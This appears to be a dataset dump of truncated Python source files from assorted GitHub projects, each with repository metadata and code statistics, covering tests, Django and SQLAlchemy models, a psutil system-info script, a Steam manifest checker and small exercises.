b519b948a7702826eb1cadca71144eb49329174c | 8,907 | py | Python | chevah/compat/tests/normal/testing/test_assertion.py | chevah/compat | d22e5f551a628f8a1652c9f2eea306e17930cb8f | [
"BSD-3-Clause"
] | 5 | 2016-12-03T22:54:50.000Z | 2021-11-17T11:17:39.000Z | chevah/compat/tests/normal/testing/test_assertion.py | chevah/compat | d22e5f551a628f8a1652c9f2eea306e17930cb8f | [
"BSD-3-Clause"
] | 76 | 2015-01-22T16:00:31.000Z | 2022-02-09T22:13:34.000Z | chevah/compat/tests/normal/testing/test_assertion.py | chevah/compat | d22e5f551a628f8a1652c9f2eea306e17930cb8f | [
"BSD-3-Clause"
] | 1 | 2016-12-10T15:57:31.000Z | 2016-12-10T15:57:31.000Z | # Copyright (c) 2015 Adi Roiban.
# See LICENSE for details.
"""
Tests for the assertion helpers.
"""
from __future__ import print_function
from __future__ import division
from __future__ import absolute_import
import os
from chevah.compat.exceptions import CompatError
from chevah.compat.testing import ChevahTestCase, ... | 32.507299 | 78 | 0.615359 | 965 | 8,907 | 5.55544 | 0.187565 | 0.022197 | 0.072748 | 0.057079 | 0.587577 | 0.568364 | 0.49599 | 0.433315 | 0.409439 | 0.379593 | 0 | 0.007358 | 0.29808 | 8,907 | 273 | 79 | 32.626374 | 0.850128 | 0.213652 | 0 | 0.412587 | 0 | 0 | 0.102053 | 0.003551 | 0 | 0 | 0 | 0 | 0.517483 | 1 | 0.125874 | false | 0 | 0.041958 | 0 | 0.174825 | 0.006993 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b51c24c2a8046cf56cf971ce8b89fbb099048127 | 2,253 | py | Python | tests/basic_test.py | patpizio/conformal_predictors | 80d46d8728af23cf4a412024f592c40b51d977c7 | [
"MIT"
] | null | null | null | tests/basic_test.py | patpizio/conformal_predictors | 80d46d8728af23cf4a412024f592c40b51d977c7 | [
"MIT"
] | 4 | 2021-08-04T15:11:33.000Z | 2021-08-04T22:52:03.000Z | tests/basic_test.py | patpizio/conformal_predictors | 80d46d8728af23cf4a412024f592c40b51d977c7 | [
"MIT"
] | null | null | null | import unittest
import sys
sys.path.insert(0, '../src/')
from conformal_predictors.icp import ConformalPredictor
from conformal_predictors.nc_measures import *
import conformal_predictors.calibrutils as cu
from sklearn.datasets import *
import numpy as np
from sklearn.svm import SVC
from sklearn.ensemble import Ran... | 29.644737 | 112 | 0.699512 | 282 | 2,253 | 5.361702 | 0.343972 | 0.043651 | 0.043651 | 0.018519 | 0.123016 | 0.097884 | 0.097884 | 0.097884 | 0.048942 | 0 | 0 | 0.008989 | 0.209942 | 2,253 | 76 | 113 | 29.644737 | 0.840449 | 0.094541 | 0 | 0 | 0 | 0 | 0.007389 | 0 | 0 | 0 | 0 | 0 | 0.023256 | 1 | 0.046512 | false | 0.023256 | 0.325581 | 0 | 0.395349 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
b520efe1b1cf2e4fbb13042874cc3d5189db3ae6 | 2,980 | py | Python | provdbconnector/tests/db_adapters/neo4j/test_neo4jadapter.py | Ama-Gi/prov-neo4j-covid19-track | 67a79694ad3b48c34dd263f1508c0bdfbc6702fb | [
"Apache-2.0"
] | 15 | 2016-09-21T22:27:45.000Z | 2022-01-17T15:44:42.000Z | provdbconnector/tests/db_adapters/neo4j/test_neo4jadapter.py | Ama-Gi/prov-neo4j-covid19-track | 67a79694ad3b48c34dd263f1508c0bdfbc6702fb | [
"Apache-2.0"
] | 87 | 2016-09-19T13:26:05.000Z | 2022-03-16T04:16:47.000Z | provdbconnector/tests/db_adapters/neo4j/test_neo4jadapter.py | Ama-Gi/prov-neo4j-covid19-track | 67a79694ad3b48c34dd263f1508c0bdfbc6702fb | [
"Apache-2.0"
] | 3 | 2016-10-17T19:25:10.000Z | 2020-06-26T12:38:34.000Z | import unittest
from provdbconnector.exceptions.database import InvalidOptionsException, AuthException
from provdbconnector import Neo4jAdapter, NEO4J_USER, NEO4J_PASS, NEO4J_HOST, NEO4J_BOLT_PORT
from provdbconnector.prov_db import ProvDb
from provdbconnector.tests import AdapterTestTemplate
from provdbconnector.test... | 33.863636 | 124 | 0.601342 | 311 | 2,980 | 5.578778 | 0.315113 | 0.04611 | 0.040346 | 0.051873 | 0.456484 | 0.408069 | 0.342939 | 0.308357 | 0.287032 | 0.287032 | 0 | 0.012627 | 0.30906 | 2,980 | 87 | 125 | 34.252874 | 0.830015 | 0.11745 | 0 | 0.45098 | 0 | 0 | 0.126427 | 0 | 0 | 0 | 0 | 0 | 0.039216 | 1 | 0.137255 | false | 0.098039 | 0.117647 | 0 | 0.294118 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
b521c6c0f419d3631f195792a8be1ffaddad4502 | 1,956 | py | Python | Python3-ThirdPartyLibrary/Chapter06_psutil.py | anliven/Reading-Code-Learning-Python | a814cab207bbaad6b5c69b9feeb8bf2f459baf2b | [
"Apache-2.0"
] | null | null | null | Python3-ThirdPartyLibrary/Chapter06_psutil.py | anliven/Reading-Code-Learning-Python | a814cab207bbaad6b5c69b9feeb8bf2f459baf2b | [
"Apache-2.0"
] | null | null | null | Python3-ThirdPartyLibrary/Chapter06_psutil.py | anliven/Reading-Code-Learning-Python | a814cab207bbaad6b5c69b9feeb8bf2f459baf2b | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
import psutil
# CPU
print("CPU: ", psutil.cpu_count()) # CPU逻辑数量
print("CPU: ", psutil.cpu_count(logical=False)) # CPU物理核心
print("CPU: ", psutil.cpu_times()) # 统计CPU的用户/系统/空闲时间
# for x in range(3):
# print(psutil.cpu_percent(interval=1, percpu=True)) # 每秒刷新一次CPU使用率
# 内存
prin... | 36.222222 | 73 | 0.596626 | 222 | 1,956 | 5.157658 | 0.536036 | 0.125764 | 0.062882 | 0.073362 | 0.078603 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005178 | 0.210123 | 1,956 | 53 | 74 | 36.90566 | 0.735922 | 0.304192 | 0 | 0 | 0 | 0 | 0.21957 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.029412 | 0 | 0.029412 | 0.411765 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
b522cbe5a92fd1c03c4cc0d0200215ca4a546a8f | 8,018 | py | Python | grid_user/models.py | topd333/Xlab | 28d89b3b18717957229ca52cb2cbbbc20bd31eae | [
"Unlicense"
] | null | null | null | grid_user/models.py | topd333/Xlab | 28d89b3b18717957229ca52cb2cbbbc20bd31eae | [
"Unlicense"
] | null | null | null | grid_user/models.py | topd333/Xlab | 28d89b3b18717957229ca52cb2cbbbc20bd31eae | [
"Unlicense"
] | null | null | null | import random
import datetime
from django.db import models
from django.contrib.auth.models import (
BaseUserManager, AbstractBaseUser
)
from django.utils import timezone
SECURTYQUESTION = (
('1', "What city were you born in?"),
('2', "What is your mother's maiden name?"),
('3', "What street did you gro... | 31.077519 | 114 | 0.634697 | 909 | 8,018 | 5.464246 | 0.20132 | 0.052547 | 0.090598 | 0.120797 | 0.548017 | 0.482988 | 0.368432 | 0.352527 | 0.256896 | 0.241997 | 0 | 0.025724 | 0.267897 | 8,018 | 257 | 115 | 31.198444 | 0.820443 | 0.094288 | 0 | 0.43956 | 0 | 0 | 0.095011 | 0.009815 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0.087912 | 0.027473 | 0.021978 | 0.472527 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
b53308bf2a97499e9f1e960c2ded7b7ca3598996 | 370 | py | Python | Conditional/Extras/Everton/02.py | Vitor-ORB/algorithms-and-programming-1-ufms | 10821e9b580b78b7f78c27e740f3ead9c6b9f0bd | [
"MIT"
] | 7 | 2021-05-25T16:49:20.000Z | 2022-02-17T11:57:32.000Z | Conditional/Extras/Everton/02.py | Vitor-ORB/algorithms-and-programming-1-ufms | 10821e9b580b78b7f78c27e740f3ead9c6b9f0bd | [
"MIT"
] | null | null | null | Conditional/Extras/Everton/02.py | Vitor-ORB/algorithms-and-programming-1-ufms | 10821e9b580b78b7f78c27e740f3ead9c6b9f0bd | [
"MIT"
] | 8 | 2021-05-25T16:49:39.000Z | 2021-09-30T18:02:07.000Z | '''Considere o problema de computar o valor absoluto de um número real.
O valor absoluto de um número real x é dado por f(x) = x se x >= 0 ou f(x) = -x se x < 0.
Projete e implemente um programa em Python que lei um número de ponto flutuante x, calcule e imprima o valor absoluto de x.'''
x = float(input())
y = (x**2)... | 33.636364 | 126 | 0.651351 | 73 | 370 | 3.30137 | 0.520548 | 0.074689 | 0.174274 | 0.19917 | 0.290456 | 0.290456 | 0.232365 | 0 | 0 | 0 | 0 | 0.023729 | 0.202703 | 370 | 10 | 127 | 37 | 0.79322 | 0.762162 | 0 | 0 | 0 | 0 | 0.207317 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b53a0396d1bab4e9ce336103d0380f331ae41db6 | 7,906 | py | Python | scripts/structural_make_html_report.py | vogelbac/LAB-QA2GO- | be434da7399d396413309f947f4b634d8fae9a17 | [
"BSD-3-Clause"
] | 14 | 2019-02-07T10:50:58.000Z | 2021-09-03T16:11:00.000Z | scripts/structural_make_html_report.py | vogelbac/LAB-QA2GO- | be434da7399d396413309f947f4b634d8fae9a17 | [
"BSD-3-Clause"
] | 6 | 2019-01-28T09:19:27.000Z | 2021-09-09T06:56:42.000Z | scripts/structural_make_html_report.py | vogelbac/LAB-QA2GO | be434da7399d396413309f947f4b634d8fae9a17 | [
"BSD-3-Clause"
] | 4 | 2019-01-28T09:00:58.000Z | 2021-05-25T13:54:40.000Z | # script to generate the overview and individual html report website.
import os
import numpy
def main(result_folder, name, header_comp):
menu_html_file_path = '/home/brain/qa/html/menu_html.html'
menu_html_file = open(menu_html_file_path, 'r')
menu_html = menu_html_file.readlines()
menu_html_file.close()
resul... | 41.610526 | 193 | 0.68214 | 1,322 | 7,906 | 3.840393 | 0.119516 | 0.019697 | 0.05909 | 0.060666 | 0.615718 | 0.550916 | 0.476856 | 0.415206 | 0.324207 | 0.273981 | 0 | 0.014482 | 0.13534 | 7,906 | 189 | 194 | 41.830688 | 0.728204 | 0.010372 | 0 | 0.268456 | 1 | 0.120805 | 0.288309 | 0.102328 | 0 | 0 | 0 | 0 | 0 | 1 | 0.013423 | false | 0 | 0.013423 | 0 | 0.026846 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b545de61a4d0708ce0bd62bccdbaa4f9ddf7238d | 371 | py | Python | ThinkPython/chap10/ex7.py | sokolowskik/Tutorials | d2681d4f18b03e00f90f9132c77f0b23b74d2629 | [
"MIT"
] | null | null | null | ThinkPython/chap10/ex7.py | sokolowskik/Tutorials | d2681d4f18b03e00f90f9132c77f0b23b74d2629 | [
"MIT"
] | null | null | null | ThinkPython/chap10/ex7.py | sokolowskik/Tutorials | d2681d4f18b03e00f90f9132c77f0b23b74d2629 | [
"MIT"
] | null | null | null | a1 = 'mary'
b1 = 'army'
a2 = 'mary'
b2 = 'mark'
def is_anagram(a, b):
"""
Return True if words a and b are anagrams.
Return Flase if otherwise.
"""
a_list = list(a)
b_list = list(b)
a_list.sort()
b_list.sort()
if a_list == b_list:
return True
else:
return False
... | 16.130435 | 46 | 0.574124 | 60 | 371 | 3.4 | 0.433333 | 0.132353 | 0.137255 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.030888 | 0.301887 | 371 | 22 | 47 | 16.863636 | 0.756757 | 0 | 0 | 0 | 0 | 0 | 0.05694 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.133333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b54662251afe3923c7f22e2ffa35d6fb5d4cc63b | 459 | py | Python | pymotion/models/notification.py | LeResKP/motion | 4a7c6200ca6fd20edb3b98c6ea1215c90d988a78 | [
"MIT"
] | null | null | null | pymotion/models/notification.py | LeResKP/motion | 4a7c6200ca6fd20edb3b98c6ea1215c90d988a78 | [
"MIT"
] | null | null | null | pymotion/models/notification.py | LeResKP/motion | 4a7c6200ca6fd20edb3b98c6ea1215c90d988a78 | [
"MIT"
] | null | null | null | from sqlalchemy import (
Column,
ForeignKey,
Integer,
Text,
)
from sqlalchemy.orm import relationship
from .meta import Base
class Notification(Base):
__tablename__ = 'notification'
id = Column(Integer, primary_key=True)
user_id = Column(Integer, ForeignKey("user.id"), nullable=False)
... | 21.857143 | 77 | 0.714597 | 51 | 459 | 6.294118 | 0.529412 | 0.087227 | 0.093458 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.180828 | 459 | 20 | 78 | 22.95 | 0.853723 | 0 | 0 | 0 | 0 | 0 | 0.076253 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.214286 | 0 | 0.642857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
b55212239eec52a949a21799291c19c62811b1b2 | 17,827 | py | Python | steam/check_acf.py | DarkStarSword/junk | f0de649a3ef92715fbc6aeff7599ad843763c32b | [
"MIT"
] | 19 | 2015-02-02T16:49:32.000Z | 2021-12-04T02:33:10.000Z | steam/check_acf.py | DarkStarSword/junk | f0de649a3ef92715fbc6aeff7599ad843763c32b | [
"MIT"
] | 1 | 2015-07-11T13:57:34.000Z | 2015-11-16T02:36:23.000Z | steam/check_acf.py | DarkStarSword/junk | f0de649a3ef92715fbc6aeff7599ad843763c32b | [
"MIT"
] | 4 | 2017-02-06T21:11:17.000Z | 2019-04-04T15:11:50.000Z | #!/usr/bin/env python
from __future__ import print_function
import os, optparse, glob
import depotcache, acf
from ui import ui_tty as ui
import hashlib
import sys
g_indent = ' '
colours = {
False: 'back_red black',
True: ''
}
class UnknownLen(list): pass
def depot_summary_ok(mounted):
if len(mounted) > 0:
... | 35.941532 | 388 | 0.710664 | 2,674 | 17,827 | 4.589005 | 0.176515 | 0.021025 | 0.014669 | 0.00929 | 0.278543 | 0.199739 | 0.152718 | 0.084019 | 0.057371 | 0.05297 | 0 | 0.003707 | 0.167667 | 17,827 | 495 | 389 | 36.014141 | 0.823292 | 0.112358 | 0 | 0.274112 | 0 | 0.020305 | 0.223568 | 0.006887 | 0 | 0 | 0 | 0.00202 | 0.010152 | 0 | null | null | 0.005076 | 0.025381 | null | null | 0.121827 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b55f0296b5c70a3898760614021a220983b1ac36 | 333 | py | Python | getall.py | bransorem/Magic-Scraper | f68ae25122391efe440c8652119d146a75be4cea | [
"Unlicense"
] | 2 | 2018-07-16T21:24:34.000Z | 2020-12-19T21:34:00.000Z | getall.py | bransorem/Magic-Scraper | f68ae25122391efe440c8652119d146a75be4cea | [
"Unlicense"
] | null | null | null | getall.py | bransorem/Magic-Scraper | f68ae25122391efe440c8652119d146a75be4cea | [
"Unlicense"
] | null | null | null | import sets
import scan_set
import os
path = 'ids/'
setlist = os.listdir(path)
def getall(set):
id = scan_set.scan_set(set)
scan_set.write_ids(set, id)
for set in sets.set_info:
s = set + '.txt'
if s not in setlist:
print "Getting " + set
getall(set)
print "\n\nCompletely Finis... | 15.857143 | 39 | 0.615616 | 51 | 333 | 3.901961 | 0.490196 | 0.140704 | 0.100503 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.252252 | 333 | 20 | 40 | 16.65 | 0.799197 | 0 | 0 | 0 | 0 | 0 | 0.141141 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.214286 | null | null | 0.142857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b563b116c6a5501886a56db83d13d435b9bc033e | 3,070 | py | Python | python-study/2.py | yu1k/python-study | 0bf2e2927696f58f36c05602446ecd71e31596e3 | [
"MIT"
] | null | null | null | python-study/2.py | yu1k/python-study | 0bf2e2927696f58f36c05602446ecd71e31596e3 | [
"MIT"
] | null | null | null | python-study/2.py | yu1k/python-study | 0bf2e2927696f58f36c05602446ecd71e31596e3 | [
"MIT"
] | null | null | null | #*** 文字列 ***
#Pythonで文字列を作るには, ' (シングルクォーテーション)もしくは, " (ダブルクォーテーション)で囲む.
print('some eggs')
print("some eggs")
print('some eggs\nsome eggs')
#a == b は aとb同値であればTrue, そうでなければFalseを返す演算子です
print('some eggs' == "some eggs") #True
#'...' の中で ' ,または "..." の中で " を使う場合には,
#各記号のまえに \ (バックスラッシュ) を入力する.
print("I don't Kno... | 17.150838 | 59 | 0.70684 | 361 | 3,070 | 6 | 0.484765 | 0.049862 | 0.024007 | 0.016621 | 0.096491 | 0.06048 | 0.042475 | 0.042475 | 0.042475 | 0.042475 | 0 | 0.038788 | 0.118241 | 3,070 | 179 | 60 | 17.150838 | 0.761359 | 0.629316 | 0 | 0.090909 | 0 | 0 | 0.297401 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.818182 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
b5656eebed6c2a64ded792a644ba9d21bbe79fe1 | 570 | py | Python | tests/test_delete_query.py | RaduG/fluentql | 653a77bb95b40724eb58744f5f8dbed9c88eaebd | [
"MIT"
] | 4 | 2020-04-15T10:50:03.000Z | 2021-07-22T12:23:50.000Z | tests/test_delete_query.py | RaduG/fluentql | 653a77bb95b40724eb58744f5f8dbed9c88eaebd | [
"MIT"
] | 2 | 2020-05-24T08:54:56.000Z | 2020-05-24T09:04:31.000Z | tests/test_delete_query.py | RaduG/fluentql | 653a77bb95b40724eb58744f5f8dbed9c88eaebd | [
"MIT"
] | null | null | null | import pytest
from fluentql import GenericSQLDialect, Q
from fluentql.types import Table
test_table = Table("test_table")
@pytest.fixture
def dialect_cls():
return GenericSQLDialect
@pytest.mark.parametrize(
["q", "expected"],
[
(Q.delete().from_(test_table), "delete from test_table;"),
... | 21.111111 | 73 | 0.652632 | 69 | 570 | 5.188406 | 0.347826 | 0.175978 | 0.156425 | 0.212291 | 0.192737 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017937 | 0.217544 | 570 | 26 | 74 | 21.923077 | 0.784753 | 0 | 0 | 0 | 0 | 0 | 0.150877 | 0 | 0 | 0 | 0 | 0 | 0.052632 | 1 | 0.105263 | false | 0 | 0.157895 | 0.052632 | 0.315789 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b57121e74eb14c59a54321fc4b77f18535e2b4a3 | 414 | py | Python | back_to_back/apps/calculator/migrations/0003_calculation_last_occurrence.py | mhotwagner/back-to-back | ce8e0a58406d4fd6c20ecc71b8d1c49e6851f752 | [
"MIT"
] | null | null | null | back_to_back/apps/calculator/migrations/0003_calculation_last_occurrence.py | mhotwagner/back-to-back | ce8e0a58406d4fd6c20ecc71b8d1c49e6851f752 | [
"MIT"
] | null | null | null | back_to_back/apps/calculator/migrations/0003_calculation_last_occurrence.py | mhotwagner/back-to-back | ce8e0a58406d4fd6c20ecc71b8d1c49e6851f752 | [
"MIT"
] | null | null | null | # Generated by Django 2.0.2 on 2018-02-18 17:06
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('calculator', '0002_calculation_add_occurrences'),
]
operations = [
migrations.AddField(
model_name='calculation',
na... | 21.789474 | 59 | 0.625604 | 43 | 414 | 5.883721 | 0.813953 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.062706 | 0.268116 | 414 | 18 | 60 | 23 | 0.772277 | 0.108696 | 0 | 0 | 1 | 0 | 0.185286 | 0.087193 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b57208d1dd6013bfe4af88d2691bee115d3cc089 | 627 | py | Python | api/interests/models.py | sorinburghiu2323/Supervisio | df0b682d031914904547efafb3ec4d060bf96526 | [
"MIT"
] | null | null | null | api/interests/models.py | sorinburghiu2323/Supervisio | df0b682d031914904547efafb3ec4d060bf96526 | [
"MIT"
] | null | null | null | api/interests/models.py | sorinburghiu2323/Supervisio | df0b682d031914904547efafb3ec4d060bf96526 | [
"MIT"
] | null | null | null | from django.db import models
from django.core.exceptions import ValidationError
from rest_framework.exceptions import ValidationError as DRFValidationError
from api.models import TimestampedModel
class Interest(TimestampedModel):
name = models.CharField(max_length=255, unique=True)
def __str__(self):
... | 29.857143 | 75 | 0.700159 | 71 | 627 | 6.084507 | 0.549296 | 0.055556 | 0.143519 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006036 | 0.207337 | 627 | 20 | 76 | 31.35 | 0.863179 | 0 | 0 | 0 | 0 | 0 | 0.041467 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.133333 | false | 0 | 0.266667 | 0.066667 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
b572d60eef0c25ee409f0d4d3f9822ab96421622 | 3,652 | py | Python | src/eddington_gui/boxes/initial_guess_box.py | tsarpaul/eddington-gui | 6022c28fde22a97d97e0bcbe357a45d168bdf251 | [
"Apache-2.0"
] | null | null | null | src/eddington_gui/boxes/initial_guess_box.py | tsarpaul/eddington-gui | 6022c28fde22a97d97e0bcbe357a45d168bdf251 | [
"Apache-2.0"
] | null | null | null | src/eddington_gui/boxes/initial_guess_box.py | tsarpaul/eddington-gui | 6022c28fde22a97d97e0bcbe357a45d168bdf251 | [
"Apache-2.0"
] | null | null | null | """Box for specifying initial guess for the fitting algorithm."""
from typing import Callable, List, Optional
import numpy as np
import toga
from eddington import EddingtonException
from toga.style import Pack
from eddington_gui.boxes.line_box import LineBox
from eddington_gui.consts import SMALL_INPUT_WIDTH
class ... | 34.780952 | 87 | 0.618839 | 469 | 3,652 | 4.541578 | 0.230277 | 0.214085 | 0.098592 | 0.140845 | 0.402347 | 0.288263 | 0.233803 | 0.200939 | 0.164319 | 0.123005 | 0 | 0.006907 | 0.286418 | 3,652 | 104 | 88 | 35.115385 | 0.810437 | 0.158543 | 0 | 0.066667 | 0 | 0 | 0.031501 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.12 | false | 0 | 0.093333 | 0 | 0.373333 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b57c5c0aef7e6b76df1071bc270b08f415d805ee | 2,011 | py | Python | src/kbpo/db_evaluation.py | arunchaganty/kbp-online | 9f8763d8f4bfb1fb8a01f1f4f506f56625dd38d8 | [
"MIT"
] | 4 | 2017-08-09T14:05:48.000Z | 2018-12-25T01:34:23.000Z | src/kbpo/db_evaluation.py | arunchaganty/kbp-online | 9f8763d8f4bfb1fb8a01f1f4f506f56625dd38d8 | [
"MIT"
] | 12 | 2017-01-19T23:18:18.000Z | 2018-12-23T18:57:54.000Z | src/kbpo/db_evaluation.py | arunchaganty/kbp-online | 9f8763d8f4bfb1fb8a01f1f4f506f56625dd38d8 | [
"MIT"
] | 2 | 2017-08-08T09:48:20.000Z | 2018-07-09T09:12:43.000Z | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Routines to evaluate the system.
"""
import logging
from collections import Counter
from . import db
logger = logging.getLogger(__name__)
def get_exhaustive_samples(corpus_tag):
"""
Use the document_sample table to get which documents have been exhaustively... | 40.22 | 147 | 0.635007 | 292 | 2,011 | 4.164384 | 0.308219 | 0.032895 | 0.019737 | 0.029605 | 0.089638 | 0.034539 | 0 | 0 | 0 | 0 | 0 | 0.006693 | 0.257086 | 2,011 | 49 | 148 | 41.040816 | 0.807229 | 0.1273 | 0 | 0.058824 | 0 | 0.088235 | 0.580682 | 0.012146 | 0 | 0 | 0 | 0.020408 | 0 | 1 | 0.058824 | false | 0 | 0.088235 | 0 | 0.205882 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
b5888f3a509cecfa1613e21a4254b8b55ec9d01b | 1,246 | py | Python | gcd/lop.py | bthate/genocide | 8de7a2cccee7315ae6cf5661738ba1335e30a5ba | [
"DOC"
] | null | null | null | gcd/lop.py | bthate/genocide | 8de7a2cccee7315ae6cf5661738ba1335e30a5ba | [
"DOC"
] | null | null | null | gcd/lop.py | bthate/genocide | 8de7a2cccee7315ae6cf5661738ba1335e30a5ba | [
"DOC"
] | null | null | null | # This file is placed in the Public Domain.
import queue
import threading
from .dpt import Dispatcher
from .obj import Object
from .thr import launch
from .utl import get_exception
class Restart(Exception):
pass
class Stop(Exception):
pass
class Loop(Object):
def __init__(self):
